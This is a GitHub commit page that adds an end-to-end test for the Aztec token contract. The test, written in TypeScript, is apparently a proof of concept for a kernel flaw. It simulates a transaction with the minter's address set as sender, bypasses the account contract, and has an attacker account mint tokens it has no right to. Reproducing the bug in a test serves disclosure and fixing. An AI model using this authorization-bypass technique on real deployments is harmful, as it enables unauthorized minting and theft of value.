-
Notifications
You must be signed in to change notification settings - Fork 311
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
819f370
commit 7c08eab
Showing
3 changed files
with
139 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
109 changes: 109 additions & 0 deletions
109
yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
import { createAccounts } from '@aztec/accounts/testing'; | ||
import { PackedValues, SentTx, TxExecutionRequest } from '@aztec/aztec.js'; | ||
import { GasSettings, TxContext } from '@aztec/circuits.js'; | ||
|
||
import { setupPXEService } from '../fixtures/utils.js'; | ||
import { TokenContractTest } from './token_contract_test.js'; | ||
|
||
describe('e2e_token_contract kernel exploit', () => { | ||
const t = new TokenContractTest('exploit'); | ||
let { asset, wallets, aztecNode } = t; | ||
|
||
beforeAll(async () => { | ||
await t.applyBaseSnapshots(); | ||
await t.setup(); | ||
({ asset, wallets, aztecNode } = t); | ||
}); | ||
|
||
afterAll(async () => { | ||
await t.teardown(); | ||
}); | ||
|
||
it('exploiting the kernel', async () => { | ||
// In the following test, we will show that we can MINT tokens, without being the minter. | ||
// If you look at the `main.nr` of the token contract, and look at the `privately_mint_private_note_to` function | ||
// you will see the following: | ||
// | ||
// #[aztec(private)] | ||
// fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { | ||
// storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); | ||
// Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); | ||
// } | ||
// | ||
// #[aztec(public)] | ||
// #[aztec(internal)] | ||
// fn assert_minter_and_mint(minter: AztecAddress, amount: Field) { | ||
// assert(storage.minters.at(minter).read(), "caller is not minter"); | ||
// let supply = storage.total_supply.read() + U128::from_integer(amount); | ||
// storage.total_supply.write(supply); | ||
// } | ||
// | ||
// As you can see, we will make a call to `assert_minter_and_mint` which will check if the caller is the minter. | ||
// assert(storage.minters.at(minter).read(), "caller is not minter"); | ||
// | ||
// The way we are going to bypass that is really simply. Just specify `from` on the simulation to be the `minter` | ||
// and then you send that transaction after your simulation. | ||
// | ||
// The kernel seem to not be checking that we are not just passing any msg_sender we want for the first call, | ||
// so if we pass the minter, and don't go through an account contract, but just directly to the token contract, | ||
// we can mint "as if" we were the minter 😎. | ||
|
||
const amount = 10000n; | ||
const minter = wallets[0].getAddress(); | ||
// Creating a fully separate PXE to ensure that we are not just knowing some of the same keys | ||
const { pxe: pxeB, teardown: _teardown } = await setupPXEService(aztecNode!, {}, undefined, true); | ||
const attacker = (await createAccounts(pxeB, 1))[0]; | ||
|
||
await attacker.registerContract({ | ||
artifact: asset.artifact, | ||
instance: asset.instance, | ||
}); | ||
|
||
// We initially try to perform the minting operation as the attacker, as one would normally call the function. | ||
// Here we expect the call to fail, as the attacker is not the minter. | ||
// It will FAIL CORRECTLY here. | ||
await expect( | ||
asset.withWallet(attacker).methods.privately_mint_private_note_to(amount, attacker.getAddress()).simulate(), | ||
).rejects.toThrow('Assertion failed: caller is not minter'); | ||
|
||
// We store the balance of the attacker for later so we can see his mint working. | ||
const balanceBefore = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); | ||
|
||
// Now we come to the actual exploit! | ||
// Below we will make a call, simulate it with the minter as the sender, and then we will broadcast it using the attacker. | ||
// Note that we don't do anything using the minter (wallets[0]) in this test, and that we are even on a separate PXE, | ||
// so it is not a case of bad PXE key management. | ||
|
||
// Create the call (mint amount to attacker) | ||
const call = asset | ||
.withWallet(attacker) | ||
.methods.privately_mint_private_note_to_direct(amount, attacker.getAddress()) | ||
.request(); | ||
|
||
// Manually prepare information to do the function call DIRECTLY, without going through the account contract | ||
const entrypointPackedValues = PackedValues.fromValues(call.args); | ||
const request = new TxExecutionRequest( | ||
call.to, | ||
call.selector, | ||
entrypointPackedValues.hash, | ||
new TxContext(attacker.getChainId(), attacker.getVersion(), GasSettings.default()), | ||
[entrypointPackedValues], | ||
[], | ||
); | ||
|
||
// Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract | ||
// we just need the address. | ||
console.log(minter) | ||
console.log(attacker.getAddress()) | ||
const sim = await attacker.simulateTx(request, false, minter); | ||
await new SentTx(wallets[1], wallets[1].sendTx(sim.tx)).wait(); | ||
|
||
// Get a hold of the balance | ||
const balanceAfter = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); | ||
|
||
// Ensure that we have increased the balance of the attacker by the amount we minted. | ||
expect(balanceAfter).toEqual(balanceBefore + amount); | ||
|
||
console.log(balanceBefore, balanceAfter); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters